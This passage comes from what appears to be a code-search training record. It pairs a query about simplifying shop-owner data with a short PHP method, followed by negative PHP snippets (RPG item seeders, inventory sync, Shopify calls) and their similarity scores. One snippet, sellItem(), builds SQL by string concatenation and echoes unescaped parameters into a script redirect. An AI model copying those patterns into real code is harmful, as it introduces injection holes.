orange, banana, grapefruit, ice.', 6.25, $standard_quantities, $standard_drink_sizes),\n new beverage('SUNSET STAR', 'carrots, strawberries, orange, peach, ice.', 5.25, $standard_quantities, $standard_drink_sizes),\n\t\t\tnew beverage('Banana Nut', 'Almonds and bananas are blended together.', 5.25, $standard_quantities, $standard_drink_sizes),\n new beverage('Mango Tango', 'Strawberries, mango, pineapple, banana.', 5.75, $standard_quantities,\n\t\t\t $standard_drink_sizes),\n new beverage('Island Passion', 'Mango, bananas and peaches delivered with a hint of coconut keeps you coming back to the island.', 6.00, $standard_quantities, $standard_drink_sizes),\n\t\t\t\n\t\t\t);\n\n\t\t$menu = '<h2>Food Menu</h2>';\n\n\t\tforeach ($items as $item){\n\t\t\t$menu .= $item->toFormField();\n\t\t}\n\n\t\t$menu .= '<h2> Juice Menu </h2>';\n\t\tforeach ($beverage as $beverage){\n\t\t\t$menu .= $beverage->toFormField();\n\t\t}\n\n\t\t$this->form = $menu;\n\t\t$this->items = $items;\n\t\t$this->beverage = $beverage;\n\t}", "public function run()\n {\n $items=[['item_name'=>'Stones of Far Speech','item_price'=>'50','item_description'=>'Plain looking stones that allow walkie-talkie-like communication with other stones of far speech. Basically like walkie talkies, but magic','img_path'=>'/img/1.png','keywords'=>'communication,magic walkie talkie,any class','category'=>'Misc'],['item_name'=>'Phantom Fist','item_price'=>'400','item_description'=>'A glove made of spider silk. Makes your unarmed attacks a little bit stronger.Allows you to knock enemies back with unarmed blows','img_path'=>'/img/2.png','keywords'=>'combat, weapon, equipment,hand slot,unarmed,strength,any class','category'=>'Equipment'],['item_name'=>'Xtreme Teen Bible','item_price'=>'75','item_description'=>'A +1 holy symbol whose cover features a rad skateboarder. Can more easily spread the good word to teens.','img_path'=>'/img/3.png','keywords'=>'cleric,paladin,holy,holy symbol,equipment,','category'=>'Equipment'],['item_name'=>'Ring of Pointing','item_price'=>'25','item_description'=>'Copper ring with an inlaid ruby that can shoot a laser out. Can be used as a distraction or highlight salient information during a buisiness meeting','img_path'=>'/img/4.png','keywords'=>',ring,hand slot,equipment,laser pointer,ruby,any class','category'=>'Equipment'],['item_name'=>'Unlimited Pasta Pass','item_price'=>'100','item_description'=>'Can be used at any participating fantasy Olive Garden for free unlimited pasta for the owner and free unlimited soft drinks for the guests','img_path'=>'/img/5.png','keywords'=>',food,any class,olive garden','category'=>'Misc'],['item_name'=>'Wand of Switcharoo','item_price'=>'300','item_description'=>'A wooden wand that poops glitter when used. When pointed at another creature that lies within 100ft, it will switch places with the target if willing. Must make a DC 17 Constitution Saving throw to stay in place. Can only be used once per day.','img_path'=>'/img/6.png','keywords'=>',right,left,main,off,magic,combat,hand slot,equipment,wizard,want','category'=>'Weapon'],['item_name'=>'Scuttle Buddy','item_price'=>'150','item_description'=>'Mechanical beetle that you can use as a spy. It can talk to you, but it won’t have anything interesting to say beyond its primary functions. Can only be wound up four times before it breaks.','img_path'=>'/img/7.png','keywords'=>',communication,beetle,living,insect,spy,mechanical,animal,any class','category'=>'Misc'],['item_name'=>'Tankard of Potent Drink','item_price'=>'100','item_description'=>'A big tankard with pictures of spudz on it. Makes alcoholic beverages more alcoholic. Drinking water from this tankard makes you instantly sober; if sober it can cure a hangover.','img_path'=>'/img/8.png','keywords'=>',food,consumable,container,drink,beverage,alcohol','category'=>'Misc'],['item_name'=>'Glasses of Lightning Comprehension','item_price'=>'100','item_description'=>'A set of glasses with a whole bunch of lenses on them.Allows you to read and understand any language you know ten times as fast.','img_path'=>'/img/9.png','keywords'=>',magic,equipment,head slot,glasses,knowledge,intelligence,language','category'=>'Equipment'],['item_name'=>'Lens of Straight Creepin’','item_price'=>'100','item_description'=>'Glasses that make it look like your eyes are closed. Allows you to find footprints, tracks, or markings of anything that traveled through the air once per day.','img_path'=>'/img/10.png','keywords'=>',magic,equipment,lens,accessory,off,hand,history,arcane','category'=>'Equipment'],['item_name'=>'Ring of Recall','item_price'=>'700','item_description'=>'Gold ring with a purple stone. Allows you to regain a spell slot for a failed spell casting','img_path'=>'/img/11.png','keywords'=>'equipment,magic,non-combat,wizard,hand slot,spell,slot,ring,jewelry,wizard,accessory,arcane','category'=>'Equipment'],['item_name'=>'Bag of Mystery','item_price'=>'300','item_description'=>'Small, patchwork leather bag about the size of a fantasy softball. There appears to be some kind of spherical object inside. What’s in the bag?','img_path'=>'/img/12.png','keywords'=>'magic,bag,mystery,not a fish,random,accessory,???','category'=>'Misc'],['item_name'=>'Pocket Spa','item_price'=>'900','item_description'=>'A bag that when opened magically becomes a small spa. Regain extra hit points whenever you take a short rest.','img_path'=>'/img/13.png','keywords'=>',magic,relax,spa,bag,healing,spatial,restoration','category'=>'Misc'],['item_name'=>'Rusted Can of Cheerwine','item_price'=>'400','item_description'=>'Has seen some shit, but seems to be radiating with vital energies. Grants +5 max HP','img_path'=>'/img/14.png','keywords'=>'magic,food,consumable,healing,can,restoration,cheerwine','category'=>'Consumable'],['item_name'=>'Virtuoso’s Mask','item_price'=>'1100','item_description'=>'Allows you to cast Disguse Self as a Cantrip instead of a 1st Level Spell.','img_path'=>'/img/15.png','keywords'=>'disguise,spy,illusion,cantrip,magic,wizard,rogue,head slot','category'=>'Equipment'],['item_name'=>'Throwing Shield','item_price'=>'1200','item_description'=>'Confers the same AC bonus as a regular shield, and can be used as a thrown weapon. Can travel IN A STRAIGHT LINE up to 30 feet, and deals 1d8 + STR/Prof. Damage. IT DOESN’T COME BACK TO YOU AFTERWARDS. AND DON’T TRY TO RICOCHET THIS SHIT','img_path'=>'/img/16.png','keywords'=>'combat,shield,hand slot,fighter,paladin,off,hand,captain america,armor,ranged','category'=>'Equipment'],['item_name'=>'Alchemist’s Ring','item_price'=>'500','item_description'=>'When the wearer of this ring imbibes a healing potion, they receive 1d6 additional healing.','img_path'=>'/img/17.png','keywords'=>'magic,ring,hand slot,healing,restoration,augmentation,any class,','category'=>'Equipment'],['item_name'=>'Healing Potion','item_price'=>'50','item_description'=>'Heals the imbiber for 2d4+2 HP','img_path'=>'/img/18.png','keywords'=>'non-magic,food,consumable,healing,restoration,any class','category'=>'Consumable'],['item_name'=>'Haunted Doll','item_price'=>'100','item_description'=>'A creepy doll with the soul of a cat lady inside.This doll is very creepy. If its owner ever fails a third death save, the doll will take the hit instead, and will die in place of its owner.','img_path'=>'/img/19.png','keywords'=>'magic,combat,death save,creepy,haunted,doll,spooky,any class','category'=>'Misc'],['item_name'=>'SHIELD OF HEROIC MEMORIES','item_price'=>'1200','item_description'=>'This perfectly round silver shield initially has a mirror finish. As a hero takes it into battle it remembers the enemies encountered, gaining a +1 to AC on any subsequent battle with creatures of that type. The events of the battle are intricately engraved onto the shield’s surface (which has a seemingly endless capacity for detail). The bearer of the shield may also attempt to recount past battles (real or imagined) to the shield. Upon a DC 10 charisma check or DC 15 bluff check, the shield confers a +1 AC against the creatures described in the tall tales. 3 failed attempts at recounting stories cause the shield to be cleared of all of its memories. The engravings disappear. It reverts to its mirror finish. All bonuses are lost.','img_path'=>'/img/20.png','keywords'=>'combat,shield,hand slot,fighter,armor,bluff,memories,paladin','category'=>'Equipment'],['item_name'=>'The Glutton’s Fork','item_price'=>'750','item_description'=>'Once a day this fork will allow the user to eat any non-magical item they can fit in their mouth and gain 2d6 points of health. Just tap the fork on the item and it will turn edible.','img_path'=>'/img/22.png','keywords'=>'magic,healing,restoration,fork,glutton,eating,food,any class','category'=>'Misc'],['item_name'=>'The Champion’s Belt','item_price'=>'800','item_description'=>'This ornate belt is given to someone who has bested all opponents in a test of strength. Once per day the wearer may substitute their Strength score for their Wisdom or Charisma when making a stat check.','img_path'=>'/img/23.png','keywords'=>'magic,waist item,chapion,belt,strength,wisdom,charisma,any class','category'=>'Equipment'],['item_name'=>'Phone a friend scrying bones','item_price'=>'500','item_description'=>'Once per day, can be used to ask a yes, no, or maybe question to the fates (DM). There are three bones carved into people with happy faces and sad faces. All happy faces means yes, all sad faces mean no, anything in between means maybe. The DM can respond or choose not to answer.','img_path'=>'/img/24.png','keywords'=>'magic,communication,divination,friend,bones,any class','category'=>'Equipment'],['item_name'=>'The Nit Picker','item_price'=>'900','item_description'=>'Resembles a miniature garden gnome that carries lock picking tools in his hands. When not in use, looks like a 4\"tall statue.Twice daily, can be placed in front of a locked object to unlock it (functions as the spell Knock). At this point, the statue comes to life in order to pick the lock. After the lock is picked (or if he is unable to open it), reverts back to an inanimate statue. While picking the lock, the Nit Picker critiques any or all members of the party on their recent performance in the campaign. Nothing escapes the critical eye of the Nit Picker, no matter how small the perceived offense.','img_path'=>'/img/25.png','keywords'=>'magic,nit,picker,gnome,any class,spy,lockpick,mean,knock,living,spy','category'=>'Tool'],['item_name'=>'Plastic Sheriff Badge','item_price'=>'500','item_description'=>'Adds +3 to bluff checks when impersonating a person of authority.','img_path'=>'/img/26.png','keywords'=>'magic,bluff,sheriff,any class,badge,spy,impersonating,performance','category'=>'Equipment'],['item_name'=>'Flaming Poisoning Raging Sword of Doom','item_price'=>'60000','item_description'=>'A sword with a gigantic blade, wreathed in flames and with a crooked, oozing scorpion’s stinger affixed to its point. Deals an extra 20 melee damage.','img_path'=>'/img/27.png','keywords'=>'combat,hand slot,weapon,fighter,sword,flaming,poison,doom,fire,paladin','category'=>'Weapon'],['item_name'=>'No-Sodium Salt Shaker','item_price'=>'400','item_description'=>'A simple salt shaker, the contents of which have been bewitched to turn a bright shade of pink if sprinkled over food or drink that contains poison.','img_path'=>'/img/28.png','keywords'=>'magic,non-combat,poison,poison detector,food,drink, salt, sharker,any class','category'=>'Misc'],['item_name'=>'The Immovable Rod','item_price'=>'1100','item_description'=>'This rod is a flat iron bar with a small button on one end. When the button is pushed (a move action), the rod does not move from where it is, even if staying in place defies gravity. Thus, the owner can lift or place the rod wherever he wishes, push the button, and let go. Several immovable rods can even make a ladder when used together (although only two are needed). An immovable rod can support up to 8,000 pounds before falling to the ground. If a creature pushes against an immovable rod, it must make a DC 30 Strength check to move the rod up to 10 feet in a single round.','img_path'=>'/img/29.png','keywords'=>'magic,non-combat,accessory,any class,immoveable,rod,strength,ladder,climb,climbing,strength','category'=>'Tool'],['item_name'=>'Diadem of Fabulous Truthiness!','item_price'=>'900','item_description'=>'Once per long rest, you can channel your terminal fabulousity into this simple circlet and cast a free Zone of Truth, limited to a single target rather than a radius. Confound your enemies, emasculate your friends, and free up your cleric’s spell slots so he can do some actual healing.','img_path'=>'/img/30.png','keywords'=>'magic,non-combat,cleric,zone of truth,arcane,equipment,armor','category'=>'Equipment']];\n foreach ($items as $key => $item) {\n \t$tableItem = new \\App\\Item();\n \t$tableItem->item_name=$item['item_name'];\n \t$tableItem->item_price=$item['item_price'];\n \t$tableItem->item_description=$item['item_description'];\n \t$tableItem->img_path=$item['img_path'];\n \t$tableItem->keywords=$item['keywords'];\n \t$tableItem->category=$item['category'];\n \t$tableItem->save();\n }\n }", "public function prepare_items()\r\r\n {\r\r\n\r\r\n $this->_column_headers = $this->get_column_info();\r\r\n\r\r\n /** Process bulk action */\r\r\n //\t$this->process_bulk_action();\r\r\n $per_page = $this->get_items_per_page('data_logs_per_page', 5);\r\r\n $current_page = $this->get_pagenum();\r\r\n $total_items = self::record_count();\r\r\n $this->set_pagination_args(array(\r\r\n 'total_items' => $total_items,\r\r\n 'per_page' => $per_page,\r\r\n ));\r\r\n\r\r\n $this->items = self::get_Data($per_page, $current_page);\r\r\n }", "function items( ){\r\n\t\tif( $this->items === null ){\r\n\t\t\t$this->items = array();\r\n\t\t\t$rows = $this->itemRows( );\r\n\r\n\t\t\tforeach( $rows as $row ){\r\n\t\t\t\t$this->items[$row['id']] = rsgItem::getCorrectItemObject( $this, $row );\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $this->items;\r\n\t}", "public function setItems($items);", "private function getItemData($items) {\n $items = explode( \",\", $items);\n $data = array();\n foreach ( $items as $item ) {\n if (trim($item) != \"\") {\n $temp = json_decode(\n DB::table('tbl_ser_item_price')->where(\"item_id\", $item)->get(),\n true\n );\n $id = encrypt($temp[0]['item_id']);\n array_push($data, array(\n \"iID\" => $id,\n \"iName\" => $temp[0]['item_name'],\n \"iDes\" => $temp[0]['item_des'],\n \"iPrice\" => $temp[0]['item_price'],\n ));\n }\n\n }\n return $data;\n }", "private function inventory_batch()\n\t{\n\t\t// load the sync db\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// find the most recent unprocessed shipments\n\t\t$query = ee()->sync_db->where('processed !=', '1')->order_by('id', 'asc')->get('products_inventory', 45000);\n\n\t\t// create arrays for processed inventory updates\n\t\t$ids_processed = array();\n\n\t\t// create array for the update query\n\t\t$inventory_update = array();\n\n\n\t\t// loop through each shipment\n\t\tforeach($query->result() as $inventory)\n\t\t{\n\t\t\t// add id to the processed array\n\t\t\t$ids_processed[] = $inventory->id;\n\n\t\t\t// add this update to the query\n\t\t\t$inventory_update[] = array(\n\t\t\t\t'sku' => $inventory->sku,\n\t\t\t\t'stock_level' => $inventory->quantity\n\t\t\t);\n\t\t\t\n\t\t} // end foreach\n\n\t\t// if we have records to process, update the stock levels and mark the records as processed\n\t\tif(count($ids_processed) > 0)\n\t\t{\n\t\t\t// run the update batch query\n\t\t\tee()->db->update_batch('store_stock', $inventory_update, 'sku'); \n\n\t\t\tee()->sync_db->where_in('id', $ids_processed)->set('processed', 1)->update('products_inventory');\n\t\t}\t\t\t\n\t\t\n\t}", "public function run()\n\t{\n\t\t// DB::table('inventories')->truncate();\n\n\t\t$insert = [\n\t\t\t[\n\t\t\t'itemId' => '1', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'100',\n\t\t\t'sellingPrice'=>'4.5',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '2', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'200',\n\t\t\t'sellingPrice'=>'5.5',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '3', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'50',\n\t\t\t'sellingPrice'=>'15.5',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '4', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'55',\n\t\t\t'sellingPrice'=>'5.5',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '5', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'100',\n\t\t\t'sellingPrice'=>'70',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '6', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'33',\n\t\t\t'sellingPrice'=>'13',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '7', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'50',\n\t\t\t'sellingPrice'=>'180',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '8', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'40',\n\t\t\t'sellingPrice'=>'180',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '9', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'100',\n\t\t\t'sellingPrice'=>'60',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '10', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'120',\n\t\t\t'sellingPrice'=>'600',\n\t\t\t'created_at'=> new DateTime\n\t\t\t],\n\t\t\t[\n\t\t\t'itemID' => '11', \n\t\t\t'status' => 'inactive',\n\t\t\t'quantity'=>'25',\n\t\t\t'sellingPrice'=>'130',\n\t\t\t'created_at'=> new DateTime\n\t\t\t]\n\n\t\t];\n\n\t\tDB::table('tblinventory')->insert($insert);\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('inventories')->insert($inventories);\n\t}", "public function adjustOnHand() {\n\t\t$this->autoRender = false;\n\t\t// verify numeric data first\n\t\t// check the item exists too I guess\n\t\t\n\t\t$id = $this->request->data['Item']['id'];\n\n\t\t// the next method expects a different property\n\t\t// and it's structured a little differently\n\t\t$this->itemRecord = $this->request->data; \n\t\t$this->itemRecord['Item']['quantity'] = $this->request->data['Item']['orig_value'];\n\t\t$save = $this->updateOnHandInventory($this->request->data['Item']['quantity']);\n\t\t\n\t\tif (strlen($this->error) > 0) {\n\t\t\t$this->request->data['Item']['error'] = is_string($this->error);\n\t\t}\n\t\tif ($save) {\n\t\t\t$this->request->data['Item'] = array_merge($this->request->data['Item'], $this->Item->manageUncommitted($id));\n\t\t\t$this->request->data['Item'] = array_merge($this->request->data['Item'], $this->Item->managePendingQty($id));\n\t\t\t\n\t\t\t// the return array now has all the update values we will need for the page\n\t\t}\n\t\techo json_encode($this->request->data);\n\t}", "function sellItem($store_id, $journey_id, $character_id, $player_id, $item_id) {\n\t\t\n\t\taddToDebugLog(\"sellItem(), Function Entry - Store ID: \" . $store_id . \", Journey ID: \" . $journey_id . \"; Character ID: \" . $character_id . \"; Player ID: \" . $player_id . \"; Item ID: \" . $item_id . \", INFO\");\n\t\t\n\t\t// Get item details from the character\n\t\t$sql = \"SELECT * FROM hackcess.character_equipment WHERE equipment_id = \" . $item_id . \";\";\n\t\taddToDebugLog(\"sellItem(), Constructed query: \" . $sql . \", INFO\");\n\t\t$result = search($sql);\n\t\t$name = $result[0][1];\n\t\t$ac_boost = $result[0][2];\n\t\t$attack_boost = $result[0][3];\n\t\t$weight = $result[0][4];\n\t\t$slot = $result[0][5];\n\t\tif (substr($result[0][5], 0, 6) == 'potion') {\n\t\t\t$name_elements = explode(' ', $name);\n\t\t\t$final_name = $name_elements[0];\n\t\t\t$cost = 100 * $name_elements[3];\n\t\t} elseif (substr($result[0][5], 0, 3) == 'pet') {\n\t\t\t$name_elements = explode(',', $name);\n\t\t\t$final_name = $name_elements[0];\n\t\t\t$cost = ($name_elements[1] * 500) + 5000;\n\t\t} else {\n\t\t\t$cost = 50 * ($ac_boost + $attack_boost);\n\t\t\t$final_name = $name;\n\t\t}\n\t\t\n\t\t// Add value to player gold\n\t\t$dml = \"UPDATE hackcess.character_details SET gold = gold + \" . $cost . \" WHERE character_id = \" . $character_id . \";\";\n\t\t$result = insert($dml);\n\t\tif ($result == TRUE) {\n\t\t\taddToDebugLog(\"sellItem(), Character record updated, INFO\");\n\t\t} else {\n\t\t\taddToDebugLog(\"sellItem(), Character record not updated, ERROR\");\n\t\t}\t\t\n\t\t\n\t\t// Add item to store\n\t\t$dml = \"INSERT INTO hackcess.store_contents (store_id, item_name, item_ac_boost, item_attack_boost, item_weight, item_slot, item_cost) VALUES (\" . $store_id . \", '\" . $final_name . \"', \" . $ac_boost . \", \" . $attack_boost . \", \" . $weight . \", '\" . $slot . \"', \" . $cost . \");\";\n\t\t$result = insert($dml);\t\t\n\t\tif ($result == TRUE) {\n\t\t\taddToDebugLog(\"sellItem(), Item added to store, INFO\");\n\n\t\t\t// Determine pet id\n\t\t\t$sql = \"SELECT pet_id FROM hackcess.pets WHERE pet_name = '\" . $name_elements[0] . \"';\";\n\t\t\t$result = search($sql);\n\t\t\t$pet_id = $result[0][0];\n\t\t\t\t\n\t\t\t// Unassign pet from character\n\t\t\t$dml = \"UPDATE hackcess.pets SET character_id = 0 WHERE pet_id = \" . $pet_id . \";\";\n\t\t\t$result = insert($dml);\n\t\t\tif ($result == TRUE) {\n\t\t\t\taddToDebugLog(\"buyItem(), Character record updated, INFO\");\n\t\t\t} else {\n\t\t\t\taddToDebugLog(\"buyItem(), Character record not updated, ERROR\");\n\t\t\t}\n\t\t\t\n\t\t\t// Remove item from store\n\t\t\t$dml = \"DELETE FROM hackcess.character_equipment WHERE equipment_id = \" . $item_id . \";\";\n\t\t\t$result = delete($dml);\n\t\t\tif ($result == TRUE) {\n\t\t\t\taddToDebugLog(\"sellItem(), Item deleted from character equipment, INFO\");\n\t\t\t} else {\n\t\t\t\taddToDebugLog(\"sellItem(), Item not deleted from character equipment, ERROR\");\n\t\t\t}\n\t\t\t\t\n\t\t} else {\n\t\t\taddToDebugLog(\"sellItem(), Item not added to store, ERROR\");\n\t\t}\n\t\t\n\t\toutputDebugLog();\n\t\t\n\t\t// Redirect back to store page\n\t\techo \"<script>window.location.href = 'store.php?player_id=\" . $player_id . \"&character_id=\" . $character_id . \"&journey_id=\" . $journey_id . \"&store_id=\" . $store_id . \"'</script>\";\n\t\t\n\t}", "function prepare_items() {\n\t\t$columns = $this->get_columns();\n\t\t$hidden = array();\n\t\t$sortable = $this->get_sortable_columns();\n\t\t$this->_column_headers = array( $columns, $hidden, $sortable );\n\n\t\t$ubc_di_sites = $this->ubc_di_get_assessment_results();\n\n\t\tusort( $ubc_di_sites, array( &$this, 'usort_reorder' ) );\n\n\t\t$per_page = 50;\n\t\t$current_page = $this->get_pagenum();\n\t\t$total_items = count( $ubc_di_sites );\n\t\t// only ncessary because we have sample data\n\t\t$ubc_di_sites_subset = array_slice( $ubc_di_sites, ( ( $current_page - 1 ) * $per_page ), $per_page );\n\t\t$this->set_pagination_args( array(\n\t\t\t'total_items' => $total_items, //WE have to calculate the total number of items\n\t\t\t'per_page' => $per_page, //WE have to determine how many items to show on a page\n\t\t) );\n\t\t$this->items = $ubc_di_sites_subset;\n\t}", "public function getSessionItems() { global $smarty; \n if(isset($_SESSION['checkout']['items'])) { \n $smarty->assign(\"cart\", $_SESSION['checkout']['items']);\n }\n }" ]
[ "0.5970491", "0.5859345", "0.5770674", "0.57299966", "0.5664743", "0.56629896", "0.56629896", "0.56629896", "0.56625295", "0.56437635", "0.5574545", "0.5550445", "0.554269", "0.5430928", "0.5421432", "0.5395878", "0.5371188", "0.5346838", "0.53333586", "0.5319892", "0.52968013", "0.52893597", "0.52884597", "0.5284502", "0.52814925", "0.5274203", "0.5251751", "0.52443403", "0.5241682", "0.52054095", "0.51938117", "0.5191181", "0.5182619", "0.51701516", "0.5169281", "0.5150564", "0.51473314", "0.51450104", "0.51422477", "0.5139247", "0.5128396", "0.5096307", "0.50903535", "0.50872964", "0.507522", "0.50747836", "0.5048222", "0.5045095", "0.5042762", "0.5020871", "0.50132996", "0.5012103", "0.5011056", "0.5006633", "0.5005001", "0.49985826", "0.4995646", "0.4991695", "0.49809834", "0.49809834", "0.49620178", "0.49460128", "0.49421546", "0.49392322", "0.49365434", "0.4934878", "0.49332926", "0.4925748", "0.49218336", "0.49215633", "0.4914291", "0.49122885", "0.49094123", "0.4905669", "0.49033493", "0.49010983", "0.48986173", "0.4897511", "0.489685", "0.4893733", "0.48936197", "0.48917532", "0.48917532", "0.488894", "0.4879841", "0.48790127", "0.48758215", "0.4869917", "0.48693305", "0.48686704", "0.48661932", "0.48604107", "0.48561332", "0.48531532", "0.48521543", "0.4847723", "0.48458827", "0.48380256", "0.48331112", "0.4831178" ]
0.6121278
0
simplifies the shop owner's data
public function owner() { return array('url' => Route::url('user.profile', array('id' => $this->owner['id'])), 'username' => $this->owner['username']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function updateShopInfo($shop = null) {\n // in case something weird happen, wrap in try catch\n try {\n\n $shopify = App::make('ShopifyAPI', [\n 'API_KEY' => env('API_KEY'),\n 'API_SECRET' => env('API_SECRET'),\n 'SHOP_DOMAIN' => $shop->permanent_domain,\n 'ACCESS_TOKEN' => $shop->access_token,\n ]);\n\n $shopData = $shopify->call(['URL' => '/admin/shop.json']);\n\n if($shopData) {\n\n $shop->shopify_id = $shopData->shop->id; // don't know why this would change but just in case\n $shop->public_domain = $shopData->shop->domain;\n $shop->setDomain($shopData->shop->myshopify_domain);\n // $shop->shop_type = $shopData->shop->plan_name (for the future)\n $shop->shop_owner_email = $shopData->shop->email;\n $shop->save();\n }\n\n }\n catch(Exception $e) {\n Log::error('Some weird stuff happened... ' . $e->getMessage());\n }\n }", "protected function _getShopOwnerFromShopCoreSettings()\n {\n $sShopOwner = '';\n\n $oOrder = $this->getOrder();\n $shopId = $oOrder->getShopId();\n $oShop = oxNew('oxShop');\n if ($oShop->load($shopId)) {\n $sShopOwner = empty($oShop->oxshops__oxcompany) ? trim($oShop->oxshops__oxfname->value . ' ' . $oShop->oxshops__oxlname->value) : $oShop->oxshops__oxcompany->value;\n }\n\n return $sShopOwner;\n }", "protected function _getShopOwner()\n {\n $sShopOwner = $this->_getShopOwnerFromModuleSettings();\n if (empty($sShopOwner)) {\n $sShopOwner = $this->_getShopOwnerFromShopCoreSettings();\n }\n\n return $sShopOwner;\n }", "function ownerClass()\n\t{\n\t\t$this->m_owner = array('pkowner_id'=>\"\", 'organization_name'=>\"\", 'owner_name'=>\"\", 'owner_address'=>\"\", 'owner_phone_bus'=>\"\", 'owner_phone_res'=>\"\", 'owner_fax'=>\"\", 'email'=>\"\", 'foip'=>\"\", 'owner_type'=>\"\"); \n\t}", "function convert_shop( &$obj )\n\t{\n\t\t// set default photo\n\t\t$obj->default_photo = $this->get_default_photo( $obj->id, 'shop' );\n\n\t\t// set default icon \n\t\t$obj->default_icon = $this->get_default_photo( $obj->id, 'shop-icon' );\n\n\t\t// touch count\n\t\t$obj->touch_count = $this->CI->Touch->count_all_by(array(\"type_id\" => $obj->id, \"type_name\" => \"shop\"));\n\n\t\t//rating details \n\t\t\n\t\t// $obj->like_count = $this->CI->Like->count_all_by(array(\"product_id\" => $obj->id));\n\n\t\t\n\t\t$total_rating_count = 0;\n\t\t$total_rating_value = 0;\n\n\t\t$five_star_count = 0;\n\t\t$five_star_percent = 0;\n\n\t\t$four_star_count = 0;\n\t\t$four_star_percent = 0;\n\n\t\t$three_star_count = 0;\n\t\t$three_star_percent = 0;\n\n\t\t$two_star_count = 0;\n\t\t$two_star_percent = 0;\n\n\t\t$one_star_count = 0;\n\t\t$one_star_percent = 0;\n\n\t\t//Rating Total how much ratings for this product\n\t\t$conds_rating['shop_id'] = $obj->id;\n\t\t$total_rating_count = $this->CI->Shop_rate->count_all_by($conds_rating);\n\t\t$sum_rating_value = $this->CI->Shop_rate->sum_all_by($conds_rating)->result()[0]->rating;\n\n\t\t//Rating Value such as 3.5, 4.3 and etc\n\t\tif($total_rating_count > 0) {\n\t\t\t$total_rating_value = number_format((float) ($sum_rating_value / $total_rating_count), 1, '.', '');\n\t\t} else {\n\t\t\t$total_rating_value = 0;\n\t\t}\n\n\t\t//For 5 Stars rating\n\n\t\t$conds_five_star_rating['rating'] = 5;\n\t\t$conds_five_star_rating['shop_id'] = $obj->id;\n\t\t$five_star_count = $this->CI->Shop_rate->count_all_by($conds_five_star_rating);\n\t\tif($total_rating_count > 0) {\n\t\t\t$five_star_percent = number_format((float) ((100 / $total_rating_count) * $five_star_count), 1, '.', '');\n\t\t} else {\n\t\t\t$five_star_percent = 0;\n\t\t}\n\n\t\t//For 4 Stars rating\n\t\t$conds_four_star_rating['rating'] = 4;\n\t\t$conds_four_star_rating['shop_id'] = $obj->id;\n\t\t$four_star_count = $this->CI->Shop_rate->count_all_by($conds_four_star_rating);\n\t\tif($total_rating_count > 0) {\n\t\t\t$four_star_percent = number_format((float) ((100 / $total_rating_count) * $four_star_count), 1, '.', '');\n\t\t} else {\n\t\t\t$four_star_percent = 0;\n\t\t}\n\n\n\t\t//For 3 Stars rating\n\t\t$conds_three_star_rating['rating'] = 3;\n\t\t$conds_three_star_rating['shop_id'] = $obj->id;\n\t\t$three_star_count = $this->CI->Shop_rate->count_all_by($conds_three_star_rating);\n\t\tif($total_rating_count > 0) {\n\t\t\t$three_star_percent = number_format((float) ((100 / $total_rating_count) * $three_star_count), 1, '.', '');\n\t\t} else {\n\t\t\t$three_star_percent = 0;\n\t\t}\n\n\n\t\t//For 2 Stars rating\n\t\t$conds_two_star_rating['rating'] = 2;\n\t\t$conds_two_star_rating['shop_id'] = $obj->id;\n\t\t$two_star_count = $this->CI->Shop_rate->count_all_by($conds_two_star_rating);\n\n\t\tif($total_rating_count > 0) {\n\t\t\t$two_star_percent = number_format((float) ((100 / $total_rating_count) * $two_star_count), 1, '.', '');\n\t\t} else {\n\t\t\t$two_star_percent = 0;\n\t\t}\n\n\t\t//For 1 Stars rating\n\t\t$conds_one_star_rating['rating'] = 1;\n\t\t$conds_one_star_rating['shop_id'] = $obj->id;\n\t\t$one_star_count = $this->CI->Shop_rate->count_all_by($conds_one_star_rating);\n\n\t\tif($total_rating_count > 0) {\n\t\t$one_star_percent = number_format((float) ((100 / $total_rating_count) * $one_star_count), 1, '.', '');\n\t\t} else {\n\t\t\t$one_star_percent = 0;\n\t\t}\n\n\n\t\t$rating_std = new stdClass();\n\t\t@$rating_std->five_star_count = $five_star_count; \n\t\t$rating_std->five_star_percent = $five_star_percent;\n\n\t\t$rating_std->four_star_count = $four_star_count;\n\t\t$rating_std->four_star_percent = $four_star_percent;\n\n\t\t$rating_std->three_star_count = $three_star_count;\n\t\t$rating_std->three_star_percent = $three_star_percent;\n\n\t\t$rating_std->two_star_count = $two_star_count;\n\t\t$rating_std->two_star_percent = $two_star_percent;\n\n\t\t$rating_std->one_star_count = $one_star_count;\n\t\t$rating_std->one_star_percent = $one_star_percent;\n\n\t\t$rating_std->total_rating_count = $total_rating_count;\n\t\t$rating_std->total_rating_value = $total_rating_value;\n\n\n\t\t$obj->rating_details = $rating_std;\n\n\t\t// grocery branch object\n\t\tif ( isset( $obj->id )) {\n\t\t\t$conds['shop_id'] = $obj->id;\n\t\t\t$tmp_grocery_branch_count = $this->CI->Grocery_branch->count_all_by( $conds );\n\t\t\tif( 